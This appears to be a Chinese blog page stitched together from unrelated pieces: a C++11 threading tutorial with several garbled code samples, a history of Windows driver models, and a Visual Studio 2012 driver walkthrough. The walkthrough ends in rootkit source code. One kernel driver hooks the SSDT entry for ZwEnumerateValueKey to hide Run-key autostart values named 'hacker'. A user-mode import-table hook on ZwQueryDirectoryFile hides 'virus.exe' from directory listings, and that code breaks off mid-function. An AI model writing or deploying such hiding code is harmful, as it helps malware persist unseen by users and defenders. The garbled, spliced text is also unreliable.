在 C++ 中，您可以定义全局变量，它的范围绑定到整个应用程序，包括线程。但相对于线程，现在有方法定义这些全局变量，以便每个线程保有自己的副本。此概念称为线程本地存储，其声明如下：

      thread_local int subtotal = 0;

如果声明在函数范围内完成，则只有该函数能够看到变量，但每个线程将继续维护自己的静态副本。也就是说，每个线程的变量的值在函数调用之间将得到保持。

尽管 thread_local 在 Visual C++ 11 中不可用，但可以使用非标准的 Microsoft 扩展对它进行模拟：

      #define  thread_local __declspec(thread)

如果线程内引发异常将会发生什么？有时候可以在线程内的调用堆栈中捕获和处理异常。但如果线程不处理异常，则需要采用一种方法将异常传输到发起方线程。C++11 引入了此类机制。

在图 3 中，在随附代码的项目 ThreadInternals 中提供了一个 sum_until_element_with_threshold 函数，该函数遍历矢量直至找到特定元素，而在此过程中它会对所有元素求和。如果总和超过阈值，则引发异常。

图 3 线程本地存储和线程异常

      thread_local unsigned sum_total = 0;
void sum_until_element_with_threshold(unsigned element,
  unsigned threshold, exception_ptr& pExc)
{
  try{
    find_if_not(begin(v), end(v), [=](const unsigned i) -> bool {
      bool ret = (i!=element);
      sum_total+= i;
      if (sum_total>threshold)
        throw runtime_error("Sum exceeded threshold.");
      return ret;
    });
    cout << "(Thread #" << this_thread::get_id() << ") " <<
      "Sum of elements until " << element << " is found: " << sum_total << endl;
  } catch (...) {
    pExc = current_exception();
  }
}

如果发生该情况，将通过 current_exception 将异常捕获到 exception_ptr 中。

主函数对 sum_until_element_with_threshold 触发线程，同时使用其他参数调用该相同的函数。当两个调用（一个在主线程中，另一个在从主线程触发的线程中）都完成后，将对其相应的 exception_ptrs 进行分析：

      const unsigned THRESHOLD = 100000;
vector<unsigned> v;
int main(int argc, char *argv[])
{
  exception_ptr pExc1, pExc2;
  scramble_vector(1000);
  thread th(sum_until_element_with_threshold, 0, THRESHOLD, ref(pExc1));
  sum_until_element_with_threshold(100, THRESHOLD, ref(pExc2));
  th.join();
  dealWithExceptionIfAny(pExc1);
  dealWithExceptionIfAny(pExc2);
}

如果其中任何 exception_ptrs 进行了初始化（即，表明出现某些异常），将使用 rethrow_exception 再次触发它们的异常：

      void dealWithExceptionIfAny(exception_ptr pExc)
{
  try
  {
    if (!(pExc==exception_ptr()))
      rethrow_exception(pExc);
    } catch (const exception& exc) {
      cout << "(Main thread) Exception received from thread: " <<
        exc.what() << endl;
  }
}

当第二个线程中的总和超过其阈值时，我们将获得以下执行结果：

      (Thread #10164) Sum of elements until 0 is found: 94574
(Main thread) Exception received from thread: Sum exceeded threshold.

同步并发执行

最好能够将所有应用程序拆分为 100% 独立的异步任务组。但实际上这几乎是不可能的，因为各方并发处理的数据都至少具有一定的依赖关系。本节介绍可避免发生争用情况的新 C++11 技术。

您将了解到以下信息：

原子类型： 与基元数据类型相似，但允许进行线程安全修改。

互斥和锁定： 允许我们定义线程安全临界区的元素。

条件变量： 一种在满足某条件之前停止执行线程的方法。

原子类型

标头引入了一系列可通过连锁操作实现的基元类型（atomic_char、atomic_int 等等）。因此，这些类型等同于它们的不带 atomic_ 前缀的同音词，但不同的是这些类型的所有赋值运算符（==、++、--、+=、*= 等等）均不受争用情况的影响。因此，在为这些数据类型赋值期间，其他线程无法在我们完成赋值操作之前中断并更改值。

在下面的示例中，有两个并行线程（其中一个是主线程）在相同矢量中查找不同的元素：

~~~ atomic_uint total_iterations; vector v; int main(int argc, char *argv[]) { total_iterations = 0; scramble_vector(1000); thread th(find_element, 0); find_element(100); th.join(); cout bool { ++iterations; return (i==element); }); total_iterations+= iterations; cout 标头定义了一系列用于定义临界区的可锁定类。这样，您就可以定义互斥以在一系列函数或方法中建立临界区，在这种情况下，一次只能有一个线程可以通过成功锁定系列互斥来访问此系列中的任何成员。

尝试锁定互斥的线程可以保持阻止状态直到互斥可用，或直接放弃尝试。在这两种极端的做法之间，还可以使 timed_mutex 类保持阻止状态一段时间，然后再放弃尝试。允许锁定将尝试停止帮助防止死锁。

锁定的互斥必须明确解锁后，其他线程才能对其进行锁定。无法解锁可能会导致不确定的应用程序行为，继而容易出错，这与忘记释放动态内存相似。忘记释放锁定实际上更严重，因为它可能意味着如果其他代码继续等待该锁定，那么应用程序将再也无法正常运行。幸运的是，C++11 还提供锁定类。虽然针对互斥执行锁定，但其析构函数确保锁定后还会解锁。

代码下载的“互斥”项目中提供的以下代码定义有关互斥 mx 的临界区：

~~~ mutex mx; void funcA(); void funcB(); int main() { thread th(funcA) funcB(); th.join(); } ~~~

此互斥用于保证两个函数（funcA 和 funcB）可以并行运行，而不会在临界区中同时出现。

如果需要，函数 funcA 将等待进入临界区。为了实现此过程，您只需要最简单的锁定机制，即 lock_guard：

~~~ void funcA() { for (int i = 0; i lg(mx); ... // Do something in the critical region. cout ul(mx, try_to_lock_t()); if (ul) { ++successful_attempts; cout 指出了本文最后的内容，这些内容是当线程之间的协调受制于事件时所出现的各种情况的基础。

在代码下载的 CondVar 项目中提供的以下示例中，producer 函数推送队列中的元素：

~~~ mutex mq; condition_variable cv; queue q; void producer() { for (int i = 0;i l(m); int failed_attempts = 0; while (true) { mq.lock(); if (q.size()) { int elem = q.front(); q.pop(); mq.unlock(); failed_attempts = 0; cout 1) { cout Exiting." going to sleep." going to sleep. Producer: element 0 queued. Consumer: fetching 0 from queue. Consumer: queue not ready -> going to sleep. Producer: element 1 queued. Consumer: fetching 1 from queue. Consumer: queue not ready -> going to sleep. Producer: element 2 queued. Producer: element 3 queued. Consumer: fetching 2 from queue. Producer: element 4 queued. Consumer: fetching 3 from queue. Consumer: fetching 4 from queue. Consumer: queue not ready -> going to sleep. Consumer: two consecutive failed attempts -> Exiting.

~~~

### 整体概览

综上所述，本文展示了 C++11 中所引入机制的概念性全景图，这些机制允许在多核环境为主流的时代中并行执行任务。

异步任务允许轻型编程模型并行化执行。可以通过关联的 future 检索每项任务的结果。

线程可以提供比任务更多的粒度，尽管它们更大一些，并且所提供的机制可保持静态变量的单独副本并在线程之间传输异常。

在对同一数据执行并行线程时，C++11 可提供资源以避免发生争用情况。原子类型通过受信任的方式来确保一次只有一个线程修改数据。

互斥可帮助我们定义代码中的临界区，即防止线程同时访问的区域。锁定可包装互斥，以尝试在前者的生命周期内解锁后者。

最后，条件变量提高了线程同步的效率，因为某些线程可以等待其他线程通知的事件。

赶紧下载VS11体验吧

[http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144](http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144)

[](http://blog.csdn.net/yincheng01/article/details/7495227) 

Windows 驱动程序的发展演变 
我们在学习开发驱动程序时有必要弄清楚Windows设备驱动程序的发展演变过程（为了简便起见，以下简称驱动程序）,以便明白我们将要开发什么样的驱动程序。这就象你开发一个应用程序时必须弄清楚它是运行在WINDOWS平台下还是在DOS平台下，否则我们能写出什么样的应用程序就可想而知了。 

驱动程序开发者的各项任务之中，有许多是为特定的硬件编写驱动程序。由于WINDOWS的发展，这样的工作在 Windows 9X 下要比在前一版Windows(windows3.x 、Windows Workgroup) 中容易得多。先了解一些历史演变，可能会对驱动程序的编写有所帮助。 

实模式Windows(Real-Mode Windows) 
从一开始，MS-DOS 和系统基本输入输出系统(BIOS) 就已经提供了许多硬件设备的驱动程序。BIOS 通过一些常用的软件中断，开放出驱动程序的服务 ，像INT 10h 是显示系靳中断，INT 13h是磁盘子系靳中断，INT 16h 是键盘中断等等。BIOS 也处理硬件中断，并承担对“可编程中断控制器”（Programmable Interrupt Controller ，PIC ）的管理任务。MS-DOS 也通过软件中断（如 INT 21h 、INT 25h 、INT 26h ）提供了系统服务 ，并提供一个机制（CONFIG.SYS 中的 device= 语句），让新的或强化后的驱动程序能?蛟谙到y启动时被加载进操作系统内核。

标准模式Windows(Standard-Mode Windows) 
早期的 Windows 中，MS-DOS 和 BIOS 是最重要的。Windows运行在实模式状态中，这时的Windows充其量不过是一个强化后的MS-DOS图形用户界面而已。从系统角度看，Windows只不过是个大的图形应用程序。Intel 80286 的出现，使 Windows能?蛟诒；つJ街性诵胁⒒竦酶叽? 16MB 实际内存空间。依靠保护模式和实模式的转换，Windows 仍然继续使用MS-DOS 和 BIOS 提供的服务来完成所有的系统需求。这种运作模式被称为 Windows标准模式(Windows standard mode) 。在 80286 机器上切换实模式和保护模式，系统开销很大。Intel 于是提供了一个快又有效率的指令，让你从实模式切换到保护模式。但Intel 认为没有什么人还需要再从保护模式切换回实模式。结果，唯一能?蛉帽；つJ匠绦颍ㄈ? Windows standard mode ）存取实模式软件（如 MS-DOS ）的方法就是复位CPU(reset CPU) 。在人们开发出来的各种复位方法中，最普遍的一种就是触发键盘控制器，提供由 Ctrl-Alt-Delete 键所发出的外部信号。于是引发所谓的三键失效(triple fault,即三键热启动)，这是 CPU 先天无法处理的一种“失效“。事实上无论哪一种作法，代价都很昂贵，因为它们至少都得经过 BIOS 的引导程序 。事实上，在某些 286 机器，模式的切换要花掉好几毫秒。显然 Windows 需要一种方法，避免每次一有事件发生，像是键盘被按下或鼠标移动等等，就得切换到实模式。解?Q方法就是写一个保护模式驱动程序，可以在保护模式中处理 I/O 中断。这些驱动程序直到今天我们都还在使用，你在 SYSTEM 子目录中看到的扩展名为 .DRV 的文件都是！包括 MOUSE.DRV 、COMM.DRV 等等。我把它们称为 ring3 DLL 驱动程序，因为它们实质上都是 16 位 Windows 动态链接库（DLLs ），在 ring3层 （Intel CPU 最不受保护的层,一般应用程序运行在ring3层，核心态的驱动程序动行在ring0层）执行。它们的任务是在不离开 CPU保护模式的前提下，和 Windows KERNEL 、USER 、GDI 模块之间形成接口。 
增强模式Windows(Enhanced-Mode Windows ) 
Intel 80386 CPU 使 Windows的第三种操作模式（所谓的 enhanced mode）成为可能。在此模式中 Windows 采用分页(paging) 和虚拟86(V86) 特性，创造出??拟机器（VirtualMachines ，VMs ）。对一个应用程序而言，VM 就像一独立的的个人电脑，独自拥有自己的键盘、鼠标、显示器等等硬件。而实际上，经过所谓的??拟化（virtualization ），数个 VMs 共享相同硬件。对最终用户而言，最大的好处是他现在能?蛟诖翱谧刺?中（而非全屏幕）运行MS-DOS程序 。"??拟化"是 VxDs 的工作。VxD 的名称来自于 "virtual x device"，意思是此驱动程序用来??拟化某个（x ）设备。例如：VKD用来??拟化键盘，使Windows 和任何一个MS-DOS程序都自认为独立拥有属于自己的键盘。VMD 用来??拟化鼠标。某些 VxDs 并不是为了??拟化某些硬件，而是为了提供各种底层系统服务。页面交换(PAGESWAP) 和 页面文件(PAGEFILE)就属于这种非设备VxD ，它们共同管理交换文件（swap file ），使 增强模式Windows (enhanced-modeWindows) 得以将磁盘空间分配成为??拟内存的一部份。尽管基础技术令人耳目一新，但增强模式Windows (enhanced-mode Windows )还是继续在磁盘和文件 I/O 方面使用 MS-DOS 和 BIOS 。需要交换（swap ）一个文件时，它还是把 CPU 切换到 V86 模式，让 MS-DOS 和 BIOS 来处理 I/O 操作。在保护模式、真实模式、V86 模式之间的所有切换动作都使得 Windows 慢下来。更多 
的延时则来自于MS-DOS 和 BIOS 不可重入这一问题(即不能两个程序同时使用相同的服务)。Windows 必须强迫所有应用程序在同一个队列等待实模式服务。 
Windows95 
Windows 95 将终结这一份对历史的回忆。Windows 95 使用数种不同的驱动程序模型，大部份是使用 32 位 ring0层的虚拟设备驱动程序(VxDs) ，而非 rin3层的 DLLs 。所有的设备驱动程序都有一个具有管理功能的核心虚拟机VMM(虚拟机管理器)管理。 
Windows对中断的处理与MS-DOS大不一样。当中断发生时，处理器转换为ring0级保护模式。Windows系统并不像MS-DOS那样通过中断描述符表IDT(Interrupt Descriptor Table)直接指向中断处理过程，而是由IDT入口指向VMM中的程序。该程序将判断是否为中断调用，如果是，则把中断控制权交给虚拟可编程中断控制器VPICD(Virtual Programmable Interrupt Controller Device)，VPICD实际上是一个重要的VxD。VPICD再将其交给另一个注册了该中断的VxD（如Audcard.vxd）来处理。VxD程序是通过调用VPICD服务VPICD_Virtualize_IRQ来注册中断的。 
Windows 95 对于设备 (device) 的处理，一般的模型是：由一个 VxD 掌管所有中断并执行所有数据传输，应用程序则使用函数调用 (function calls) 的方式对 VxDs 发出服务请求。这种VxD 为主的设备规划模型的一个好例子就是：Windows 95 的串行通信(serial communications) 。从前 Windows的串行通讯是使用一个 ring3 驱动程序（COMM.DRV ），?群?硬件中断处理程序以及驱动一个通用异步收发蕊片(universal asynchronous receiver-transmitter （UART ）蕊片)所需的全部逻辑功能代码。在未让此驱动程序知道的情?r下，两个 VxDs （VCD 和COMBUFF ）拦截了硬件中断和软件 IN/OUT 指令，为的是??拟化每一个 port ，并且改善因多任务而引起的问题。Windows 95 也有一个 ring3 组件名为 COMM.DRV ，但这个组件已经成为新的VxD （VCOMM ）的一个简单的外层程序，只用来提供 16 位程序和 VCOMM之间的接口。VCOMM 则处于底层，联结一般应用程序、VxD clients 、 VxD 端口驱动程序和实际的硬件。端口驱动程序现在负责处理所有中断，并执行真正与硬件起作用的 IN/OUT 指令。 
Windows 95 文件系统是另一个好例子。过去，对文件系统服务的请求（requests ），源自于16 位保护模式程序所发出的 INT 21h 。有一个 VxD 用来处理这些 INT 21h ，并将它们切换到 V86 模式，以便让MS-DOS 处理。MS-DOS 发出 INT 13h中断 ，以请求使用 BIOS 的磁盘 I/O 功能；发出 INT 2Fh ，允许网络的 "redirector modules"（重新定向模块）将此请求通过网络传输出去。Windows 95 提供给应用程序的，仍是向上兼容的接口，INT 21h 仍旧是导至文件系统的动作，但是底层基础却大不一样。 
在 Windows 95 之中，一个名为“可安砚文件系统“（Installable File System ，IFS ）的管理器会处理所有 INT 21h ，甚至是来自于 V86 模式的。然后它把控制权交斤一个文件系统驱动程序（File System Driver ，FSD ）。有一个 FSD 名为 VFAT ，是针对 MS-DOS 
文件系统（所谓 File Allocation Table ，FAT ）而设计；另一个 FSD 名为 CDFSD ，可以解析 CD-ROM 格式；此外还有其他 FSDs ，知道如何经由各种网络彼此通讯。针对本机（local 端）FSD （如VFAT ）的磁盘操作，会经过被I/O管理器（Input/Output Supervisor ，IOS）监视管理的一堆VxDs处理。甚至 V86 模式的 INT 13h 中断调用最终也是由 IOS 处理。换句??真，实模式和保护模式所发出的对文件系靳的请求（request ），不论是针对本地（local ）或远程（remote ）磁盘，有可能完全（或几乎完全）由 VxDs 来处理。Windows 95 这种以 VxD 为中心的驱动程序模型，好处之一是，系统程序员不一定要是 MS-DOS 和 BIOS 的专家，就可以写驱动程序。那些准备提供系统扩展组件的程序员，也同享这个好处；原本你必须了解DOS保护模式接口（DPMI）以及 Windows 核心模块的许多神秘特性或未公开特性，现在只需了解 Win32 的 DeviceIoControl API 函数，以及那些支持所谓 "alertable waits”(即时唤醒，大意是那些可以在VXD中调用的Windows 32位 API函数，但数量极其有限,)的 Win32 API 即可。这两个接口可以让你把 VxD 当做 32 位应用程序的扩展组件。尽管Windows系统驱动程序设计的任务主要是在系统底层上扩展 Windows 的功能，但Windows 95 还是保留了令人印象深刻的向上兼容能力(对上层程序,如dos程序来说，它们的调用接口没变，但底层实际操作却大不一样了)。DPMI 还是存在（有些16 位程序还是需要它），你还是可以运行实模式的网络驱动程序或文件系统驱动程序--如果这是你的必要选择。事实上，你往往可以把 Windows 3.1 的一整组硬件设备、网络驱动程序、16 位应用程序及其必要的 VxDs 整个搬到 Windows 95 ，不至于遭遇什么大问题。

Windows98&2k&NT 
1996年的Windows Hardware Engineering Conference（WinHEC）会议上，Microsoft宣布了一种新的Windows设备驱动程序模型――Win32 Driver Model（WDM）。这种新的设备驱动程序模型将成为Windows 2000（即Windows NT 5.0）的核心。 
  这个消息令从事Windows设备驱动程序（VxD）开发的程序员感到沮丧（虽然大家早已预料到Windows系列与Windows NT系列最终将走到一起）。WDM将vxd的开发人员带到了一个新的起点上，什么都是新的：新的模式，新的观点。如果你曾看过DDK的汇编代码的话，你一定可以体会这个消息对VxD开发者是个沉重的打击，而对于Windows NT设备驱动程序（Kernel Mode Driver）的开发者来说，却是另一番心情――因为WDM基本等于Kernel Mode Driver＋Plug and Play。

  VxD将让位于WDM，现在令我们欣慰的是Microsoft宣布Windows 98（Windows 98支持VxD,推荐使用WDM方式驱动，但有些设备，如打印机等还不能用它，微软预先设想的是Windows98和Windows 2k x86版在WDM驱动上可以二进制码兼容，但实际上没有完全实现）可能会坚持到200X年(天知道,估计也就是三两年)。在这期间，掌握VxD技术的你还是可以主动要求老板给你加薪的。即使到了WDM一统天下之时，也不用灰心，因为无论是VxD还是WDM，都要求开发人员对计算机硬件有着全面而细致的了解。通过VxD的锻炼，你至少熟悉了计算机的硬件资源并对保护模式有了比较深刻的认识，这些东西都是将来从事WDM开发的硬功夫。

好了，该说说Windows NT了。在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

Visual studio2012与Windows8带来格外不同的新体验

1.启动Vs2012

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现隐藏注册表，请见代码分析

      #include <ntddk.h>

extern NTSYSAPI NTSTATUS NTAPI
ObQueryNameString(
    IN PVOID  Object,
    OUT POBJECT_NAME_INFORMATION  ObjectNameInfo,
    IN ULONG  Length,
    OUT PULONG  ReturnLength
    );

extern NTSYSAPI NTSTATUS NTAPI
ZwEnumerateValueKey(
    IN HANDLE  KeyHandle,
    IN ULONG  Index,
    IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    OUT PVOID  KeyValueInformation,
    IN ULONG  Length,
    OUT PULONG  ResultLength
    );

//声明原有的函数
typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
        IN HANDLE  KeyHandle,
        IN ULONG  Index,
        IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
        OUT PVOID  KeyValueInformation,
        IN ULONG  Length,
        OUT PULONG  ResultLength
        );

//定义原函数的指针
REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;

//我们HOOK的函数
NTSTATUS HookZwEnumerateValueKey(
         IN HANDLE  KeyHandle,
         IN ULONG  Index,
         IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
         OUT PVOID  KeyValueInformation,
         IN ULONG  Length,
         OUT PULONG  ResultLength
         );

PCWSTR HideValue = L"hacker";

// SYSTEMSERVICE 的定义
typedef struct ServiceDescriptorEntry
{
    unsigned int * ServiceTableBase;    // 关键字段, 指向系统服务分发例程的基地址
    unsigned int * ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char * ParamTableBase;
}
ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]

PVOID GetPointer( HANDLE handle )
{
    PVOID pKey;
    if(!handle)
        return NULL;
    // ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针
    if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS )
    {
        pKey = NULL;
    }
    return pKey;
}

NTSTATUS
HookZwEnumerateValueKey(
    IN HANDLE  KeyHandle,
    IN ULONG  Index,
    IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    OUT PVOID  KeyValueInformation,
    IN ULONG  Length,
    OUT PULONG  ResultLength
)
{

    PVOID pKey;
    UNICODE_STRING *pUniName;
    ULONG actualLen;
    ANSI_STRING keyname;
    NTSTATUS status;
    UNICODE_STRING uStrValueName;
    PCWSTR ValueName;

    status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                                 Index,
                                 KeyValueInformationClass,
                                 KeyValueInformation,
                                 Length,
                                 ResultLength );

    //得到文件对象的指针
    if(pKey = GetPointer( KeyHandle))
    {
        //分配内存
        pUniName = ExAllocatePool(NonPagedPool, 1024*2);
        pUniName->MaximumLength = 512*2;

        //将pUniName里的内容清空
        memset(pUniName,0,pUniName->MaximumLength);

        //得到注册表项的路径
        if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
        {
            RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
            keyname.Buffer=_strupr(keyname.Buffer);

            //判断是不是Run项
            if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
            {
                switch (KeyValueInformationClass)
                {
                case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
                    ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
                    break;
                case KeyValueFullInformation:  //KEY_VALUE_FULL_INFORMATION
                    ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
                    break;
                }

                //判断ValueName里的值是否有hacker
                //如果有则将函数返回STATUS_ACCESS_DENIED
                if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
                {
                    DbgPrint("Hide Value\n");
                    RtlFreeAnsiString(&keyname);
                    //释放内存
                    if(pUniName)
                    {
                        ExFreePool(pUniName);
                    }
                    return STATUS_ACCESS_DENIED;
                }

            }

        }
    }
    status = RealZwEnumerateValueKey(KeyHandle,
                                    Index,
                                    KeyValueInformationClass,
                                    KeyValueInformation,
                                    Length,
                                    ResultLength);
    if(pUniName)
    {
        ExFreePool(pUniName);
    }

    return(status);

}

VOID
  DriverUnload(
    IN PDRIVER_OBJECT  DriverObject
    )
{
    DbgPrint("驱动已经停止了\n");
    (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
}

NTSTATUS
  DriverEntry(
    IN PDRIVER_OBJECT  DriverObject,
    IN PUNICODE_STRING  RegistryPath
    )
{

    DbgPrint("驱动已经加载了\n");

    RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
    (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

请见代码分析，

      #include <windows.h>
#include <WinNT.h>

//从ntddk中拿出来的一些结构体定义，在ZwQueryDirectoryFile()中要用到

typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0)
//参数类型
typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS  Status;
    ULONG    Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
//字符串类型
typedef struct _UNICODE_STRING
{
    USHORT    Length;
    USHORT    MaximumLength;
    PWSTR    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//枚举类型，主要利用FileBothDirectoryInformation
typedef enum _FILE_INFORMATION_CLASS {
    FileDirectoryInformation = 1,
    FileFullDirectoryInformation,
    FileBothDirectoryInformation,
    FileBasicInformation,
    FileStandardInformation,
    FileInternalInformation,
    FileEaInformation,
    FileAccessInformation,
    FileNameInformation,
    FileRenameInformation,
    FileLinkInformation,
    FileNamesInformation,
    FileDispositionInformation,
    FilePositionInformation,
    FileFullEaInformation,
    FileModeInformation,
    FileAlignmentInformation,
    FileAllInformation,
    FileAllocationInformation,
    FileEndOfFileInformation,
    FileAlternateNameInformation,
    FileStreamInformation,
    FilePipeInformation,
    FilePipeLocalInformation,
    FilePipeRemoteInformation,
    FileMailslotQueryInformation,
    FileMailslotSetInformation,
    FileCompressionInformation,
    FileObjectIdInformation,
    FileCompletionInformation,
    FileMoveClusterInformation,
    FileQuotaInformation,
    FileReparsePointInformation,
    FileNetworkOpenInformation,
    FileAttributeTagInformation,
    FileTrackingInformation,
    FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

typedef VOID (NTAPI *PIO_APC_ROUTINE)(
                         IN PVOID ApcContext,
                         IN PIO_STATUS_BLOCK IoStatusBlock,
                         IN ULONG Reserved);

typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG Unknown;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaInformationLength;
    UCHAR AlternateNameLength;
    WCHAR AlternateName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION;

typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) (
                                                      IN  HANDLE FileHandle,
                                                      IN  HANDLE Event OPTIONAL,
                                                      IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
                                                      IN  PVOID ApcContext OPTIONAL,
                                                      OUT PIO_STATUS_BLOCK IoStatusBlock,
                                                      OUT PVOID FileInformation,
                                                      IN  ULONG Length,
                                                      IN  FILE_INFORMATION_CLASS FileInformationClass,
                                                      IN  BOOLEAN ReturnSingleEntry,
                                                      IN  PUNICODE_STRING FileName OPTIONAL,
                                                      IN  BOOLEAN RestartScan
                                                      );

//原始ZwQueryDirectoryFile地址
ZWQUERYDIRECTORYFILE   OldZwQueryDirectoryFile = NULL;

//////////////////////////////////////////////////////////////////////////
//替换原有函数
//////////////////////////////////////////////////////////////////////////
NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{
    //先调用原有函数
    LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
    if (!NT_SUCCESS(rret))
    {
        return rret;
    }

    //只取了   FileBothDirectoryInformation这种可能性
    if (FileInformationClass==FileBothDirectoryInformation)
    {
        PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo;
        PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo;
        //测试的C:\\下的virus.exe的隐藏
        WCHAR VIRUS[] = L"virus.exe";
        BOOLEAN flag;
        pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;
        pLastFileInfo = NULL;
        do
        {
            flag = !( pFileInfo->NextEntryOffset );
            //宽字符比较，暂用WCSSTR
            if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL)
            {
                if(flag)
                {
                    pLastFileInfo->NextEntryOffset = 0;
                    break;
                }
                else
                {
                    int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
                    int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
                    memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
                    continue;
                }
            }
            pLastFileInfo = pFileInfo;
            pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
        }while(!flag);

    }

    return rret;
}

//////////////////////////////////////////////////////////////////////////
//Hook Function
//////////////////////////////////////////////////////////////////////////
BOOL HookQueryFile(BOOL flag)
{
    //确定Kernel32.dll的基地址
    HMODULE hModule = LoadLibrary("kernel32.dll");
    if (hModule==NULL)
    {
        return FALSE;
    }

    PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
    if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE)
    {
        return FALSE;
    }

    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew);
    if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE)
    {
        return FALSE;
    }

    if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL ||
        pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0)
    {
        return FALSE;
    }

    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    PIMAGE_THUNK_DATA ThunkData;

    while (ImportDescriptor->FirstThunk)
    {
        char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name);
        //遍历寻找Kernel32中加载的ntdll.dll
        if (stricmp(szDll,"ntdll.dll")!=NULL)
        {
            ImportDescriptor++;
            continue;
        }

